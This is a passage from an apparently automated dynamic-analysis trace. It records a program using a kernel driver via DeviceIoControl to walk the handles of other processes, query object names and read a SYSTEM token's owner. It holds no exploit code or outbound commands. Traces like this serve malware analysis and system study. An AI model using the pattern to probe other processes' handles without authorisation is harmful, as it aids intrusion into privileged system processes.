(Object=0xfffff8a0020aabb0) returned 0x1 [0136.118] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.118] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.118] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.118] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.118] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.118] PsAcquireProcessExitSynchronization () returned 0x0 [0136.118] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.118] ObReferenceObjectByHandle (in: Handle=0x5d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a002386780, HandleInformation=0x0) returned 0x0 [0136.119] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.119] PsReleaseProcessExitSynchronization () returned 0x2 [0136.119] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.119] ObQueryNameString (in: Object=0xfffff8a002386780, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.119] ObfDereferenceObject (Object=0xfffff8a002386780) returned 0x1 [0136.119] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.119] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.119] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.119] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.119] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.119] PsAcquireProcessExitSynchronization () returned 0x0 [0136.119] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.119] ObReferenceObjectByHandle (in: Handle=0x5e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0017fa6b0, HandleInformation=0x0) returned 0x0 [0136.119] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.119] PsReleaseProcessExitSynchronization () returned 0x2 [0136.119] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.119] ObQueryNameString (in: Object=0xfffff8a0017fa6b0, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.119] ObfDereferenceObject (Object=0xfffff8a0017fa6b0) returned 0x1 [0136.119] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.119] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.119] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.119] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.119] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.119] PsAcquireProcessExitSynchronization () returned 0x0 [0136.119] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.119] ObReferenceObjectByHandle (in: Handle=0x5f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001247ab0, HandleInformation=0x0) returned 0x0 [0136.119] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.119] PsReleaseProcessExitSynchronization () returned 0x2 [0136.119] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.119] ObQueryNameString (in: Object=0xfffff8a001247ab0, ObjectNameInfo=0xfffffa80019fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.119] ObfDereferenceObject (Object=0xfffff8a001247ab0) returned 0x1 [0136.119] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.119] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.119] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.119] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.120] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.120] PsAcquireProcessExitSynchronization () returned 0x0 [0136.120] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.120] ObReferenceObjectByHandle (in: Handle=0x5f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001bb0d70, HandleInformation=0x0) returned 0x0 [0136.120] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.120] PsReleaseProcessExitSynchronization () returned 0x2 [0136.120] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.120] ObQueryNameString (in: Object=0xfffff8a001bb0d70, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.120] ObfDereferenceObject (Object=0xfffff8a001bb0d70) returned 0x1 [0136.120] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.120] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.120] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.120] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.120] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.120] PsAcquireProcessExitSynchronization () returned 0x0 [0136.120] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.120] ObReferenceObjectByHandle (in: Handle=0x604, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00212faf0, HandleInformation=0x0) returned 0x0 [0136.120] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.120] PsReleaseProcessExitSynchronization () returned 0x2 [0136.120] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.120] ObQueryNameString (in: Object=0xfffff8a00212faf0, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.120] ObfDereferenceObject (Object=0xfffff8a00212faf0) returned 0x1 [0136.120] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.120] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.120] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.120] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.120] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.120] PsAcquireProcessExitSynchronization () returned 0x0 [0136.120] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054735d0) [0136.120] ObReferenceObjectByHandle (in: Handle=0x618, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a002399cd0, HandleInformation=0x0) returned 0x0 [0136.120] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.120] PsReleaseProcessExitSynchronization () returned 0x2 [0136.120] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x82 [0136.120] ObQueryNameString (in: Object=0xfffff8a002399cd0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.120] ObfDereferenceObject (Object=0xfffff8a002399cd0) returned 0x1 [0136.120] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.121] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.121] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x178) returned 0xc0 [0136.121] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0136.121] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa80018b8060, HandleInformation=0x0) returned 0x0 [0136.121] ObOpenObjectByPointer (in: Object=0xfffffa80018b8060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff800005f4) returned 0x0 [0136.121] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x71 [0136.121] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f4, DesiredAccess=0x8, TokenHandle=0xfffffa80021612c0 | out: TokenHandle=0xfffffa80021612c0*=0xc8) returned 0x0 [0136.121] ZwClose (Handle=0xffffffff800005f4) returned 0x0 [0136.121] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.121] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0136.121] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0136.122] CloseHandle (hObject=0xc8) returned 1 [0136.122] CloseHandle (hObject=0xc0) returned 1 [0136.122] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.122] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0136.123] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.123] PsAcquireProcessExitSynchronization () returned 0x0 [0136.123] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054735d0) [0136.123] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003006f20, HandleInformation=0x0) returned 0x0 [0136.123] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.123] PsReleaseProcessExitSynchronization () returned 0x2 [0136.123] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0136.123] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.123] ObfDereferenceObject (Object=0xfffffa8003006f20) returned 0x1 [0136.123] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.123] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.123] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.123] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0136.123] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.123] PsAcquireProcessExitSynchronization () returned 0x0 [0136.123] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054735d0) [0136.123] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003047790, HandleInformation=0x0) returned 0x0 [0136.123] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.123] PsReleaseProcessExitSynchronization () returned 0x2 [0136.123] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0136.123] ObQueryNameString (in: Object=0xfffffa8003047790, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.123] ObfDereferenceObject (Object=0xfffffa8003047790) returned 0x1 [0136.123] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.123] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.123] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.123] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0136.123] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.123] PsAcquireProcessExitSynchronization () returned 0x0 [0136.123] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054735d0) [0136.123] ObReferenceObjectByHandle (in: Handle=0xcc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003049f20, HandleInformation=0x0) returned 0x0 [0136.124] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.124] PsReleaseProcessExitSynchronization () returned 0x2 [0136.124] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0136.124] ObQueryNameString (in: Object=0xfffffa8003049f20, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.124] ObfDereferenceObject (Object=0xfffffa8003049f20) returned 0x2 [0136.124] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.124] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.124] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.124] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0136.124] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.124] PsAcquireProcessExitSynchronization () returned 0x0 [0136.124] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054735d0) [0136.124] ObReferenceObjectByHandle (in: Handle=0xd0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003049dd0, HandleInformation=0x0) returned 0x0 [0136.124] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.124] PsReleaseProcessExitSynchronization () returned 0x2 [0136.124] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0136.124] ObQueryNameString (in: Object=0xfffffa8003049dd0, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.124] ObfDereferenceObject (Object=0xfffffa8003049dd0) returned 0x1 [0136.124] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.124] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.124] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.124] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0136.124] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.124] PsAcquireProcessExitSynchronization () returned 0x0 [0136.124] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054735d0) [0136.124] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030c2490, HandleInformation=0x0) returned 0x0 [0136.124] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.124] PsReleaseProcessExitSynchronization () returned 0x2 [0136.124] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0136.124] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.124] ObfDereferenceObject (Object=0xfffffa80030c2490) returned 0x1 [0136.124] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.124] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.124] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.125] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.125] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.125] PsAcquireProcessExitSynchronization () returned 0x0 [0136.125] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054735d0) [0136.125] ObReferenceObjectByHandle (in: Handle=0x12c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030f7dd0, HandleInformation=0x0) returned 0x0 [0136.125] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.125] PsReleaseProcessExitSynchronization () returned 0x2 [0136.125] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0136.125] ObQueryNameString (in: Object=0xfffffa80030f7dd0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.125] ObfDereferenceObject (Object=0xfffffa80030f7dd0) returned 0x2 [0136.125] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.125] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.125] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.125] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.125] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.125] PsAcquireProcessExitSynchronization () returned 0x0 [0136.125] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054735d0) [0136.125] ObReferenceObjectByHandle (in: Handle=0x130, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030fb070, HandleInformation=0x0) returned 0x0 [0136.125] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.125] PsReleaseProcessExitSynchronization () returned 0x2 [0136.125] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0136.125] ObQueryNameString (in: Object=0xfffffa80030fb070, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.125] ObfDereferenceObject (Object=0xfffffa80030fb070) returned 0x2 [0136.125] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.125] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0136.125] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0136.125] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0136.125] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.125] PsAcquireProcessExitSynchronization () returned 0x0 [0136.125] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054735d0) [0136.126] ObReferenceObjectByHandle (in: Handle=0x134, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030fc6b0, HandleInformation=0x0) returned 0x0 [0136.126] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.126] PsReleaseProcessExitSynchronization () returned 0x2 [0136.126] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0136.126] ObQueryNameString (in: Object=0xfffffa80030fc6b0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.126] ObfDereferenceObject (Object=0xfffffa80030fc6b0) returned 0x2 [0136.126] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.126] HeapFree (in: hHeap=0x330000, dwFlags=0x0, 